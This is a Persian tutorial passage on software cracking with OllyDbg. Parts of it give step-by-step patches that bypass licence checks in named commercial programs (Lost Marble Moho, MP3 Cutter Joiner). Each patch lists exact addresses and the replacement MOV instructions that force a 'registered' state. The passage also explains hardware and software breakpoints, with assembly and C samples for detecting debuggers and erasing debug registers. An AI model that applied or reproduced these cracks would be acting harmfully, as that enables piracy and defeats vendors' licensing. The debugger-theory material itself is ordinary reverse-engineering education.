 ، بوسيله اين تكنينك ديگر نيازي نيست براي يـافتن شـماره سـريال برنامـه در     Memory Breakpoints نام تكنيكي به

 هاي متعددي استفاده كنيد با كمي دقت و فكر ميتوانيد به راحتي برنامه را طوري تغيير دهيـد كـه هميـشه          Bpتمامي برنامه از    
  .ثبت شده به نظر برسد

ميده ايد كه تمامي روشها كلي نبوده و نميتوان آنرا براي تمامي برنامه ها تجويز كرد و بايد شرايط              البته احتمالاً از فصول قبل فه     
  .را سنجيده و راه مناسب انتخاب كرد

  
  .خب اول نرم افزار رو نصب ميكنيم

 شده براي اينكار    بعد از نصب هميشه اولين كاري كه بايد بكنيم اين هست كه اول بفهميم برنامه رو با چي نوشتن و با چي پك                      
  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidنيد از نرم افزارهايي مانند اميتو

  براي تست فايل استفاده كنيد ) open...(رو بندازيد توش و يا از دكمه UDRulerp.exe رو باز كرده و فايل PEidبرنامه 

  
  1شكل 

  
  

  . استفاده نكرده استprotector و يا packerگونه برنامه از هيچ
  

   باز ميكنيمollydbgبرنامه را با 
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  . اجرا ميكنيمF9برنامه را با زدن كليد 
  .بعد از چند لحظه پنجره اي براي گرفتن شماره سريال نمايان ميشود

  
  

  . را بزنيد تا برنامه بطور كامل اجرا شودDemoكليد 
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  .چه محدوديتهايي را دارا ميباشد) ثبت نشده (Demoم برنامه در حالت حال بيايد ببيني
تمام گزينه ها فعال است و كار ميكند ولي هنگام خروجي گرفتن از برنامه به دليل اينكه برنامه خريداري نشده است در تمامي 

  . نوشته ميشودlost marble moho اسم backgroundخروجيها بصورت 
  

 باز كنيد اينبار در پنجره اي كه از كاربر شماره سريال F9 ريستارت كنيد و دوباره برنامه را با ctrl+F2با حال دوباره برنامه 
  . را فشار دهيدok را زدم حال دكمه   98899مخواهد عددي را وارد نماييد من عدد 

  

  
  

اين پيغام را يادداشت كرده و به . ميباشدبا يك پيغام مواجه ميشويد كه ميگويد شماره سريالي كه شما وارد كرده ايد نامعتبر
ollydbgبازگرديد .  

  
 all referenced و بعد گزينه سsearch for دكمه سمت راست موس را زده و گزينه code در پنجره ollydbgدر 

text stringرا انتخاب كنيد .  
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 caseنماييد دقت كنيد كه گزينه  را وارد registrationدر پنجره باز شده دكمه سمت راست موس را زده و كلمه 

sensitive فعال نباشد، برروي دكمه ok كليك كنيد تا ollydbgاحتمالاً مجبور خواهيد شد . بتواند رشته مورد نظر را بيابد
ا  را فشار دهيد تا كلمه مورد نظر شما در باقيمانده رشته هctrl+Lعمليات جستجو را دوباره تكرار كنيد براي اينكار ميتواند 

  .جستجو شود
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   خواهيد رسيد بر روي آن دابل كليك كنيد 45097Dشما به آدرس 

  .كمي در پنجره كد نوار پيمايش را بالاتر برده تا به اول روال چك كردن شماره سريال برسيد
  

  
  

  . هست دقت كنيدcode كه زير پنجره infoبه پنجره 
  

  
  

حال بر روي اولين دستور دكمه سمت راست موس  . 448FE8قع از آدرس اين روال از آدرسي ديگر صدا زده شده است در وا
  . را انتخاب كنيدCALL from 448FE8 و بعد آخرين گزينه يعني gotoرا زده و گزينه 

  
  

هنگامي كه به آدرس مورد نظر رفتيم در واقع جايي كه شماره سريال ما توسط برنامه چك ميشود با كمي دقت خواهيد ديد كه 
  . شرطي وجود دارددو پرش
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  JE SHORT moho.449006 پرش شرطي 448FE3در آدرس 
 كه در بالاي آن پرش ، شرظ پرش جك ميشود JE SHORT moho.449013 پرش شرطي 448FC6و در آدرس 

  .يكي از رايجترين شرط پرشهايي كه بايد به آن دقت كنيم و در اين مثال شرط كليدي ميباشد . TEST AL,ALيعني 
 78058C از آدرس AL در اين آدرس مقدار دهي ميشود در واقع مقدار AL دقت كنيد ميبينيد كه 448FBFبه آدرس اگر 

  . قرار ميگيردALكه در حافظه قرار دارد در درون 
 دكمه سمت راست موس را زده و 448FBF داراي چه مقداري هست بر روي كد آدرس ALبراي اينكه متوجه شويم الان 

   را انتخاب كنيدmemory address و بعد گزينه follow in dumpگزينه 

  
  

  : دقت كنيدdumpحال به پنجره 

  
  

  . ميباشد01 برابر  ALهمانطور كه مشاهده ميكنيد مقدار 
  . نگه داريم00 را در اين مرحله برابر  ALتنها كاري كه ما بايد انجام دهيم اينست كه هميشه مقدار 
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 Memory Breakpoint ميشود و از آن عمل جلوگيري نماييم بايد از 01 برابر  ALمقدار براي اينكه بفهميم كي و كجا 
  .استفاده كنيم

  :حال مراحل زير را انجام دهيد
 . را در درون پنجره باز شده وارد كنيد78058C را فشار داده و آدرس ctrl+g كليد dumpدر پنجره  •

 . ريستارت كنيدctrl+F2برنامه را با كليد  •

به اين دليل كه آدرسي ( را فشار دهيدenter را وارد نماييد و اينبار فقط كليد ctrl+g كليد dump در پنجره دوباره •
 ). باقي مي ماندollydbgكه قبل در اين پنجره وارد كرده ايد در حافظه موقت 

گزينه  را انتخاب كرده و دكمه سمت راست موس را برروي آن زده و 78058Cمانند شكل زير مقدار آدرس  •
Breakpoint و بعد گزينه Memory on accessرا انتخاب كنيد . 

  
  

  اجرا كنيدF9حال برنامه را با زدن دكمه  •

  
  

  . متوقف ميشود442D6F در آدرسollydbgبعد از چند لحظه خواهيد ديد كه 

  
  
  

داري نشده است بر روي اين  ميكند و به اين معنا كه برنامه خري01 را برار  ALاين آدرس همان آدرسي هست كه مقدار 
  : را فشار دهيد كد مورد نظر را مانند زير تغيير دهيدspaceآدرس دكمه 

MOV BYTE PTR DS:[78058C],0 

  
  

  . را فشار دهيدassembleحال دكمه 
  .براي ذخيره كردن برنامه برروي همان آدرسي كه آنرا تغيير داده ايد ايستاده و مانند زير عمل كنيد
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  . را انتخاب كنيد و برنامه را ذخيره كنيدsave fileجره بعدي دكمه سمت راست را زده و گزينه و در پن
  

 Memoryهمانطور كه مشاهده كرديد ، يكي از روشهاي موثر و كارا براي كرك كردن برنامه ها استفاده درست و بجا از 

Breakpointهر برنامه اي كه ميخواهيد اين عمليات را انجام دهيد بايد البته اين كار نياز به تجربه كافي دارد و در .ها ميباشد
تمامي شرايط را سنجيده و دقيقاً چك كنيد و بعد عمليات را انجام دهيد گاهي ممكن است برنامه آنطور كه بنظر ميرسد عمل 

  .نكند و شما نتوانيد از اين حالت استفاده كنيد
  پايان
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  هشتم قسمت ollydbgآموزش كركينگ با 
 May 2006 1385ارديبهشت  : تاريخ 

  هاbreakpointتئوري 
  �Fارد: نرم افزار هدف 

 ندارد :  استفاده مورد افزارهاي نرم

  متوسط : سطح 

  
  

  :مقدمه
  

فاده  اسـت  (Breakpoint)اگر از اول كتاب تا كانون قدم به قدم كتاب را خوانده باشيد حتماً ديده ايد كه ما از نقاط انفصال هـا                      
زيادي كرده ايم ولي تاكنون بصورت صريح تعريفي از چگونگي كـاركرد آنهـا و نـوع آنهـا نداشـته ايـد در ايـن فـصل در مـورد                

breakpointها بحث خواهم كرد.  
  : وجود داردbreakpointدر كل دو نوع 

 (Hardware Breakpoint)نقاط انفصال سخت افزاري  •

 (Software Breakpoint)نقاط انفصال نرم افزاري  •

  
  

  :نقاط انفصال سخت افزاري
  

 ميگوينـد پـشتيباني     debugاخيراً پرادزنده ها خود نقاط انفصال سخت افزاري را بوسيله ثباتهاي خاص كـه بـه آنهـا ثباتهـاي                     
  .ميشود

  
  : وجود داردdebugدر كل چهار ثبات 

DR0,DR1,DR2,DR3  
  .يكنند را در خود ذخيره مbreakpointاين ثباتها آدرس خطي چهار 

  . ذخيره ميشودDR7شرط انفصال كه باعث متوقف شدن برنامه در آن نقطه ميشود در يك ثبات مخصوص ديگر بنام 
 debugger را صادر ميكنـد و بعـد از آن كنتـرل بـه دسـت      INT 1هنگامي كه شرط برقرار شود پردازنده يك استثناء وقفه 

  .مربوطه مي افتد
  :بيني شده است پيش HW BPچهار شرط ممكن كه براي 

 .هنگامي كه يك دستورالعمل اجرا شود •

 .محتويات مكاني از حافظه كه مشخص شده است تغيير كند •

 .محتويات مكاني از حافظه كه مشخص شده است خوانده شود و يا بروز شود •

 .يكي از  ورودي و يا خروجي درگاهها را مشخص كرده باشيم •
  

 را كـه مربـوط بـه    trap بيـت  debuggerا مـشخص ميكنيـد    رHardware Breakpoint  هنگـامي كـه شـما يـك    
flag)ثباتها ميباشد را چك ميكند ، اگر شرط برقرار باشد استثناء ) نشانهINT 1  بوسيله پردازنده صادر ميشود و كنترل بدسـت 

debuggerمي افتد .  
  

  :Hardware Breakpointملاحضات 
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  )شايد اين يك  ضعف بنظر برسد(ت افزاري محدود به چهار عدد ميشوند همانطور كه تاكنون متوجه شده ايد نقاط انفصال سخ

  .اما فايده نقاط انفصال سخت افزاري در اين است كه تقريباً غير قابل تشخيص بوسيله نرم افزارهاي هدف ميباشند
قـدار ثباتهـاي    را شناسايي كرد اينست كه بوسيله يك نرم افـزار، م Hardware Breakpointتنهاي راهي كه ميتوان يك 

DR0 تا DR7 را خوانده و flag هاي ثبات DR7البتـه ايـن راه فقـط در    . را تجزيه و تحليل كردRING 0   امكـان پـذير 
  .است

  
  : ميتوانيد به مستندات شركت اينتل مراجعه كنيد در آدرسDR7هاي ثبات falgبراي اطلاع بيشتر از 

http://developer.intel.com/design/pentium4/manuals/253668.htm  
  

  . به كار ميرودDR7 هاي flag ميباشد كه براي پيدا كردن مقادير RING 0كد زير يك نمونه از سوئئچ كردن به 
  

.386 

.MODEL FLAT,STDCALL locals 
jumps 
UNICODE=0 
include w32.inc 
 
Extrn SetUnhandledExceptionFilter : PROC 
Interrupt equ 5                              ;the i nterrupt numbers 1 or 3 
will make  
                                             ;debug ging more difficult 
.DATA 
 
message1 db "Debug breakpoint detection",0 
message2 db "Debug breakpoint not found",0 
message3 db "Debug breakpoint found",0 
delayESP dd 0                                ;the E SP register saves here 
previous dd 0                                ;the E SP register will save the 
address  
                                             ;of th e previous SEH service 
here 
 
.CODE 
Start: 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
;Sets SEH in case of an error 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
     mov [delayESP], esp 
     push offset error 
     call SetUnhandledExceptionFilter 
     mov [previous], eax 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
 
     push edx 
     sidt [delayesp−2]                      ;reads IDT into the stack 
     pop edx 
     add edx, (Interrupt*8)+4               ;reads the vector of the 
required interrupt 
     mov ebx,[edx] 
     mov bx,word ptr [edx−4]                ;reads the address of the old 
service of the  
                                            ;requir ed interrupt 
     lea edi,InterruptHandler 
     mov [edx−4],di 
     ror edi,16                             ;sets t he new interrupt service 

http://developer.intel.com/design/pentium4/manuals/253668.htm
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     mov [edx+2],di 
     push ds                                ;saves registers for security 
     push es 
     int Interrupt                          ;jumps into Ring0 (a newly 
defined INT 5h service) 
     pop es                                 ;restor es the registers 
     pop ds 
     mov [edx−4],bx                         ;sets t he original INT 5h 
interrupt service 
     ror ebx,16 
     mov [edx+2],bx 
     push eax                               ;saves the return value 
 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
;Sets the previous SEH service 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
     push dword ptr [previous] 
     call SetUnhandledExceptionFilter 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
 
     pop eax                                ;restor es the return value 
     test eax,eax                           ;tests to see if eax=0 
     jnz jump                               ;if not , the program has found a 
debug  
                                            ;breakp oint and it ends 
 
continue: 
     call MessageBoxA,0, offset message2,\ 
     offset message1,0 
     call ExitProcess, −1 
 
jump: 
     call MessageBoxA,0, offset message3,\ 
     offset message1,0 
     call ExitProcess, −1 
 
error:                                      ;sets a  new SEH service if there 
is an error 
     mov esp, [delayESP] 
     push offset continue 
     ret 
 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
;Your new service INT 5h (runs in Ring0) 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
InterruptHandler: 
     mov eax, dr0                          ;reads a  value from the DR0 debug 
register 
     test ax,ax                            ;tests t o see if a breakpoint was 
set 
     jnz Debug_Breakpoint                  ;if so, the program jumps 
     mov eax,dr1                           ;reads a  value from the DR1 debug 
register 
     test ax,ax                            ;tests t o see if a breakpoint was 
set 
     jnz Debug_Breakpoint                  ;if so, the program jumps 
     mov eax,dr2                           ;reads a  value from the DR2 debug 
register 
     test ax,ax                            ;tests t o see if a breakpoint was 
set 
     jnz Debug_Breakpoint                  ;if so, the program jumps 
     mov eax,dr3                           ;reads a  value from the DR3 debug 
register 
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     test ax,ax                            ;tests t o see if a breakpoint was 
set 
     jnz Debug_Breakpoint                  ;if so, the program jumps 
     iretd                                 ;if a br eakpoint was not set the 
program will 
                                           ;return 0 into eax 
 
Debug_Breakpoint: 
     mov eax,1                             ;sets th e value 1 into eax to 
show that  
                                           ;breakpo ints are active 
     iretd                                 ;jump ba ck into Ring3 
 
ends 
end Start  

 
اين تكنيك ميتواند نقاط انفصال سـخت  . ميباشدHardware Breakpointاين تكنيك يكي از معدود تكنيكهاي شناسايي 

 بيفتد و يا حتي هنگامي كه يك نقطه انفصال سخت افزاري          debuggerافزاري را پاك كرده بدون اينكه كنترل برنامه بدست          
  .نقطه ديگري در برنامه رفته و باعث سردرگمي كركر شودرا مشاهده كرد به 

ــك فقــط در وينــدوز       ــي متاســفانه ايــن تكنين ــد چراكــه در وينــدوزهاي    9xول  NT based(NT جوابگــو ميباش

4.0,2000,XP,2003) شما نميتوانيد به RING 0   سوئئچ كنيد به اين دليل كه بسياري از ويروسهاي مخربي كـه بـراي 
وجود دارند  ميتوانند به اين لايه حركت كرده و باعث خرابيهاي جبران ناپذيري بـشوند و بـه همـين دليـل      سيستم عامل ويندوز    

  . را كاملاً از برنامه هاي سطح بالا بگيردRING 0شركت مايكروسافت تصميم گرفت كه حق دسترسي به 
  

  :RING 3عوض كردن ثباتهاي ديباگ در 
  

 سـوئئچ  RING 0نه كسب كرده ام اين منطقي نيست كه شما بطور كامل ودسـتي بـه   با توجه به تجربياتي كه من در اين زمي
  . را تغيير دهيدDR7كرده و مقادير ثبات 

ــوان   ــه بعن ــايي ك ــه ه ــع   debuggerبرنام ــه تواب ــد ب ــد ميتوانن ــار ميكنن ــد  API ك  و ()GetThreadContext مانن
SetThreadContext()   يـل   اين توابع بوسيله فا   . دسترسي داشته باشندNTDLL.DLL          اجـرا ميـشوند و بعنـوان توابـع 

  . سوئئچ دهدRING 0كه باعث ميشود كه پردازنده شما را به ) 2Eوقفه (سيستمي شناخته ميشوند
  

 بـراي پـاك   SEHاين برنامه از مكانيسم .  نوشته شده است تست كنيدassemblyشما خود ميتوانيد برنامه زير را كه بوسيله       
  . استفاده ميكند و سپس به برنامه را به حالت عادي ادامه ميدهدdebugكردن مقادير ثباتهاي 

 Software و يـك  NOP بـرروي يكـي از دسـتورات    Hardware Breakpoint يـك  debuggerبراي نمونـه در  

Breakpoint بر روي اولين دستور SHEبگذاريد و ببينيد چه اتفاقي مي افتد .  
  

.686 

.model flat, stdcall ;32 bit memory model 
option casemap :none ;case sensitive 
assume fs:nothing ;MASM feature (otherwise FS assum ed to be ERROR) 
include EraseDrx.Inc 
 
.code 
 
start: 
     ; ### set the S.E.H ### 
     push offset mySEH 
     push dword ptr fs:[0] 
     mov dword ptr fs:[0],esp 
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     ;*** now everything will be covered by our SEH  *** 
     ; raise an invalid opcode exception 
     UD2 
 
@@SafeOffset: ; this is where we can safely return from our SEH 
     fnop 
 
     ;try to hardware BP one of those NOP 
     nop 
     nop 
     nop 
     nop 
 
     ;*** now this is this end of the SEH *** 
     pop dword ptr fs:[0] 
     add esp,4 
     ret ;return to ExitThread 
 
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
; OUR SEH handler, which erases the debug registers  
;−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−−− −−−−−−−−−−−−−−−−−−−−−−−−−
−−−−−−−−−−−−−−−−−−−−−−− 
mySEH proc C lpExcept:DWORD, lpFrame:DWORD, lpConte xt:DWORD, 
lpDispatch:DWORD 
 
     mov ecx,[lpContext] 
 
     ; push all linear addresses of drx (from Dr0 t o Dr3) 
     ; you should see your hardware BP there (just to demonstrate where they 
are) 
     push [ecx][CONTEXT.iDr0] 
     push [ecx][CONTEXT.iDr1] 
     push [ecx][CONTEXT.iDr2] 
     push [ecx][CONTEXT.iDr3] 
     add esp,4*4 ; skip them 
 
     ;erase DR0 to DR3 
     push 0 
     push 0 
     push 0 
     push 0 
 
     pop [ecx][CONTEXT.iDr0] 
     pop [ecx][CONTEXT.iDr1] 
     pop [ecx][CONTEXT.iDr2] 
     pop [ecx][CONTEXT.iDr3] 
 
     ;erase also DR7 
     push 0 
     pop [ecx][CONTEXT.iDr7] 
 
     ;now set EIP to our SafeOffset 
     push offset @@SafeOffset 
     pop [ecx][CONTEXT.regEip] 
 
     mov eax,FALSE 
     ret 
 
mySEH endp 
 
end start  
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وانـده و رونـد   هـاي ثباتهـا را خ    flag بتواند خود را از اينگونه كدها پنهان كند بايد تمام            debuggerدر پايان، براي اينكه يك      
هـا بـه سـمت برنامـه هـا تـشخيص       flagاجرايي آنها را دنبال كند و هميشه هنگامي كـه قـرار اسـت مقـداري از طـرف ايـن           

debugger       و يا مقدار     0 فرستاده شود مقادير را با False                جايگزين كند كه شناسايي نشود كـه البتـه اينكـار بـسيار مـشكل 
  .ميباشد

  
  :OllyDBG افزار در استفاده از نقاط انفصال سخت

  
  ها كجا به كار مي آيند؟HW Breakpointحال اين سوال پيش مي آيد كه 

شايد با خواندن بخش نقاط انفصال نرم افزاري بتوانيد به اين سوال جواب بدهيد ولي درهر صورت نقاط انفصال سخت افزاري را   
  :ميتوان در دو حالت كلي زير بكار برد

گ شدن است در مقابل تغييراتي كه در درون آن انجام ميشود حساس هست و اجازه اينكار         برنامه اي كه در حال ديبا      •
 )برنامه هايي كه خودشان ،خود را كنترل ميكنند(را نميدهد

برنامه اي كه در حال ديباگ شدن ميباشد روالي براي تشخيص ديباگر دارد و نقاط انفصال ديباگر را پيدا كرده و آنهـا          •
 )رنامه هايي كه از ويژگيهاي برنامه هاي خودكنترل بعلاوه ويژگيهاي صدتحريف استفاده ميكنندب(را از بين ميبرد

  
 Armadilo,Asprotect,Execryptorهايي مانند   packerاين ويژگيها در برنامه هاي فشرده سازي بسيار پيچيده و يا            

  . وجود داردActiveMarkو يا 
  

 ندارند و debuggerزاري اين هست كه ثباتها هيچ ربطي به هيچگونه نرم افزار يكي ديگر از ويژگيهاي نقاط انفصال سخت اف   
  .جزو ويژگيهاي نرم افزاري اينگونه نرم افزارها به حساب نمي آيند

 باز كنيد و بر روي يكي از دستورات آن يك         ollydbg پك شده است را بوسيله       asprotectبراي نمونه يك برنامه اي كه با        
HW Breakpointگذاريد حال دوباره يك نسخه ديگر از  بollydbg  را باز كنيد و همان برنامه را در درون آن باز كنيـد و 

بدون ( گذاشته ايد برروي دومين نمونه هم كار ميكند        ollydbgآنرا اجرا كنيد ميبينيد كه نقطه انفصالي كه بر روي اولين نمونه             
  ). را  در نسخه دوم مشخص كرده باشيدHW Bpاينكه شما 

  
  :نقاط انفصال نرم افزاري

  
Software Breakpoint   تنها مدل از نقاط انفصال ميباشد كه بدون نوشتن برنامه كامل شبيه ساز پردازنده قابليـت پنهـان 

  .شدن از برنامه هاي تشخص ديباگر را ندارد
د و هنگامي كه اين خط اجرا شود    را جايگزين كني   0xCC ميتوانيد در درون دستورالعملهاي يك برنامه كد         Bpبراي تست اين    

  . خواهد افتادdebugger صادر خواهد شد و كنترل بدست INT 3استثنا 
  

INT 3       كنترل را بدست ميگيريد و شما هركاري كه بخواهيد ميتوانيد با برنامه انجام دهيـد امـا قبـل از اينكـه كنتـرل برنامـه 
هاي ثباتها و اشاره گر flagا صدا زده ميشود و مقادير جاري تمامي  واگذار شود روال رسيدگي كننده به وقفه هINT 3بوسيله 

  . را در پشته قرار ميدهدIP و اشاره گر ثبات CSثبات 
  

بنـابراين بـين   . نيز پاك شده استtrap مربوط به flagو مقدار )  مقداري نداردIF flag(در واقع تمام وقفه ها غير فعال است 
  .وجود نداردوقفه ديباگ و بقيه وقفه تفاوتي 

  
ديباگر براي اينكه بتواند در نقطه انفصالي كه توسط كاربر مشخص شده است توقف نمايد مقادير تمامي ثباتها را در پشته ذخيره                      
ميكند و براي اينكه ديباگر بتواند در تمامي جاهاي برنامه توقف كرده و كنترل آن را بدست بگيرد علاوه بر اينكه مقادير را بايـد                      
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 را در جايي كه كاربر مشخص كرده است جايگزين كند و آنرا اجرا كند و بعد از اتمام كار                 0xCC ذخيره كند بايد مقدار      در پشته 
  .و هنگامي كه كنترل ميخواهد به برنامه هدف بازگردد دوباره تمامي مقادير از پشته بايد بازخواني شود

  
  
  

  :ملاحصات
  

 بوسيله كاربر مشخص ميشود ديباگر Bp دراينست كه هنگامي كه x86هاي خانواده عيت نقاط انفصال نرم افزاري در پردازنده 
  .بايد كد برنامه هدف را تغيير دهد

  .اين مكانيسم در بعضي حالات باعث شناسايي ديباگر توسط برنامه هدف ميشود
  

  .در كد زير يك نمونه از روال تشخيص ديباگر را ميبينيد
  

int main(int argc, char* argv[]) 
{ 
    // The ciphered string "Hello, Free World!" 
    char s0[]="\x0C\x21\x28\x28\x2B\x68\x64\x02\x36 \ 
               \x21\x21\x64\x13\x2B\x36\x28\x20\x65 \x49\x4E"; 
     
    __asm 
    { 
        BeginCode:                 ; The beginning of the code being 
debugged 
            pusha                  ; All general-pu rpose registers are 
saved. 
            lea ebx, s0            ; ebx=&s0[0] 
            GetNextChar:           ; do 
                xor eax, eax       ; eax = 0; 
                lea esi, BeginCode ; esi = &BeginCo de 
                lea ecx, EndCode   ; The length of code 
                sub ecx, esi       ; being debugged  is computed. 
                HarvestCRC:        ; do 
                    lodsb          ; The next byte is loaded into al. 
                    add eax, eax   ; The checksum i s computed. 
                loop HarvestCRC    ; until(--cx>0) 
                xor [ebx], ah      ; The next chara cter is decrypted. 
                inc ebx            ; A pointer to t he next character 
                cmp [ebx], 0       ; Until the end of the string 
            jnz GetNextChar        ; Continue decry ption 
            popa                   ; All registers are restored. 
        EndCode:                   ; The end of the  code being debugged 
            nop                    ; A breakpoint i s safe here. 
    } 
    printf(s0);                    //The string is diplayed. 
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    return 0; 
}  

  
  

 را برروي صـفحه نمـايش چـاپ    "!Hello,Free World"هنگامي كه برنامه را بدون حضور ديباگر اجرا كنيد برنامه كليمه 
 بگذاريد كلمه ديگري SW Bpولي مادامي كه برنامه را با يك ديباگر باز كنيد و بر روي يكي از دستورالعملهاي آن يك ميكند 

  !چاپ خواهد شد
  

ميبينيد كه بوسيله يكسري روال تشخيص ديباگر ، كركر به راحتي ميتواند اشتباه كند به همين دليل هميشه بايد از ابزاري بـراي         
  .استفاده نمود تا راه را اشتباه طي ننموندپنهان كردن ديباگر 

  
  پايان
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  نهم قسمت ollydbgآموزش كركينگ با 
 April 2006 1385 ارديبهشت : تاريخ 

  Serial,inline patching نوع حمله
  MP3 Cutter Joiner v1.8: ف نرم افزار هد

  ollydbg 1.10,PEiD 0.93:  استفاده مورد افزارهاي نرم

   متوسط: سطح 

  
  

  :مقدمه
 (magic byte)در اين آموزش به نوع ديگري از محافظت از نرم افزار آشـنا ميـشويد كـه اصـطلاحاً بـه آن بايـت جـادويي        

  .ميگويند
 False، True كـه همـان   1 و يـا  0يا هاردديسك ميباشد كه مقـداري برابـر بـا    در واقع اين بايت جادويي جايي در حافظه و   

  . باشد شما اجازه دسترسي به تمام امكانات برنامه را خواهيد داشت1ويا Trueميباشد را دارد ميباشد كه اگر برابر 
  . را به دقت بخوانيد8 و 7قبل از شروع اين فصي به شما پيشنهاد ميكنم فصلهاي 

  
  .م افزار رو نصب ميكنيمخب اول نر

 كه اول بفهميم برنامه رو با چي نوشتن و با چي پك شده براي اينكار                 هست بعد از نصب هميشه اولين كاري كه بايد بكنيم اين         
  . استفاده كردمPEid استفاده كنيد من اينجا از RDG Packer Detector و يا PEidنيد از نرم افزارهايي مانند اميتو

بـراي تـست فايـل    ) open...(رو بندازيد توش و يا از دكمه MP3 Cutter Joiner.exe  باز كرده و فايل روPEidبرنامه 
  استفاده كنيد 

  
  1شكل 

  
  :پيدا كردن بايت جادويي

  
  . باز كنيدollydbgخب برنامه را بوسيله 
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  .ين خاطر سريعتر به اصل مطلب ميپردازمدر اينجا فرض من بر اينست كه شما فصلهاي قبلي را بادقت مطالعه كرده ايد و به هم
 را انتخاب كنيد search referenced text strings و يعد گزينه search forدكمه سمت راست موس را زده و گزينه 

 search forدر پنجره ظاهر شده نوار پيماش را كاملاً به سمت بالا بياوريد و بعد دكمه سمت راسـت مـوس را زده و گزينـه    

text انتخاب كنيد و مانند شكل زير گزينه  راregisterرا در آن وارد كنيد :  
  

  
  

 RegisterAutomation شما را بر روي خطي كه نوشته شده است ollydbg را بزنيد ، ميبينيد كه okحال دكمه 
 جستجو را ادامه ctrl+Lمتوقف ميكند اين آدرس ، آدرسي نيست كه براي ما مفيد باشيد براي ادامه جستجو بوسيله كليدهاي 

   برسيد يعني جايي كه نوشته شده است 4C7DE7دهيد تا به آدرس 
Sorry, you have converted 15 files. Please register! 

  

  
  

  : بر روي اين آدرس برويمollydbgخب حال برروي همين آدرس دابل كليك كرده تا در پنجره كد 

  
 

  ش وجود دارد ميبينيد كه در بالاي اين آدرس دو شرط پر
  .من براي راحتي كار شما آنها را توضيح ميدهم

  
 كه شرط پرش بدين صورت ميباشد كه مقداري كه در .… JLE short نوشته شده است 4C7DDAدر آدرس  •

 كمتر از 4CFE64 مقايسه ميشود و اگر مقداري آدرس حافظه 0F وجود دارد با مقدار 4CFE64آدرس حافظه 
F شود )Fپرش اجرا ميشود).  ميباشد15 دهي به معنا  در دستگاه ده. 
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 كه آدرس  CMP كه شرط پرش بوسيله دستور … JNZ short نوشته شده است 4C7DD1در آدرس  •
 نباشد شري برقرار 0 برابر با  4CFE56 مقايسه ميشود اگر مقدار آدرس حافظه 0 با مقداري 4CEFE56حافظه 

 . هم اجرا نميشود4C7DDAميشود و پرش انجام ميشود و ديگر شرط آدرس 
  

   ميباشد شرط كنترل اين ميباشد كه آيا برنامه ثبت شده است و يا نه؟4C7DD1نتيجه گيري اينكه شرطي كه در آدرس 
در پنجره . خب اين آدرس را يادداشت كنيد.  قرار دارد4CFE56اينكه آيا شرط بايد اجرا شود يا نه در آدرس حافظه   جوابو

dump كليدهاي ctrl+g را زده و آدرس يادداشت شده را وارد نماييد و دكمه ok را فشار دهيد تا ollydbg شما را به 
 و بعد Breakpoint ببرد مقدار اين آدرس را انتخاب كرده و دكمه سمت راست موس را زده و گزينه 4CFE56آدرس 
درس ، بايت جادويي ميباشد كه ما بدنبال در واقع اين آ.  را انتخاب كنيدword و بعد گزينه hardware,on accessگزينه 

آن ميباشيم و با گذاشتن يك نقطه انفصال برروي آن ميتوانيم اين بايت جادويي را كنترل كنيم و ببينيم كه چه موقع و چطور 
ل نرم افزاري دليل اينكه از يك نقطه انفصال سخت افزاري استفاده ميكنم به اين دليل ميباشد كه اگر از نقطه انفصا.تغيير ميكند

  .  ميكند و اجرا نميشود crashدر اين برنامه استفاده كنم برنامه 
  

 

  
  

  : را بزنيد تا برنامه اجرا شودF9حال دكمه 
اين نقطه همان جايي ميباشد كه بايت .  توقف خواهيد كرد به آدرس بالاي اين نقطه توجه كنيد4C5AFDشما در آدرس 

  .جادويي مقداردهي ميشود
  

  
  

  : را بزنيد و مقدار آن را بدين صورت تغيير دهيدspace يك بار كليك كرده و بعد دكمه 4C5AF6روي آدرس خب بر
MOV BYTE PTR DS:[4CFE56],1 

  

  
  

 را فشار space را پيدا كرده و برروي مقدار آن يكبار كليك كرده و سپس كليد 4CFE56 آدرس dumpحال در پنجره 
  :ير دهيد تغي01دهيد حال مقدار آنرا به 
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 قدم به قدم دنبال ميكنيم تا ببينيم كجا مقدار جادويي ما تغيير خواهيد كرد البته هنگامي كه اينكار را F8برنامه را با زدن كليد 
 تغيير 00 به 01 باشد كه مقدار آن از 4CFE56 و مقدار آدرس dumpانجام ميدهيد حواستان بايد كاملاً به پنجره 

 . برسيم4C5B9A ميدهيم تا به آدرس خب اينكار انجام.نكند
  

  
  

 . تغيير ميكند00 دوباره به dump در پنجره 4CFE56 را بزنيد خواهيد ديد كه مقدار آدرس F8يكبار ديگر كليد 

  
  

  . برروي آن قرار گيردBp را بزنيد تا يك F2 رفته و دكمه 4C5B9Aحال بر روي آدرس 
  

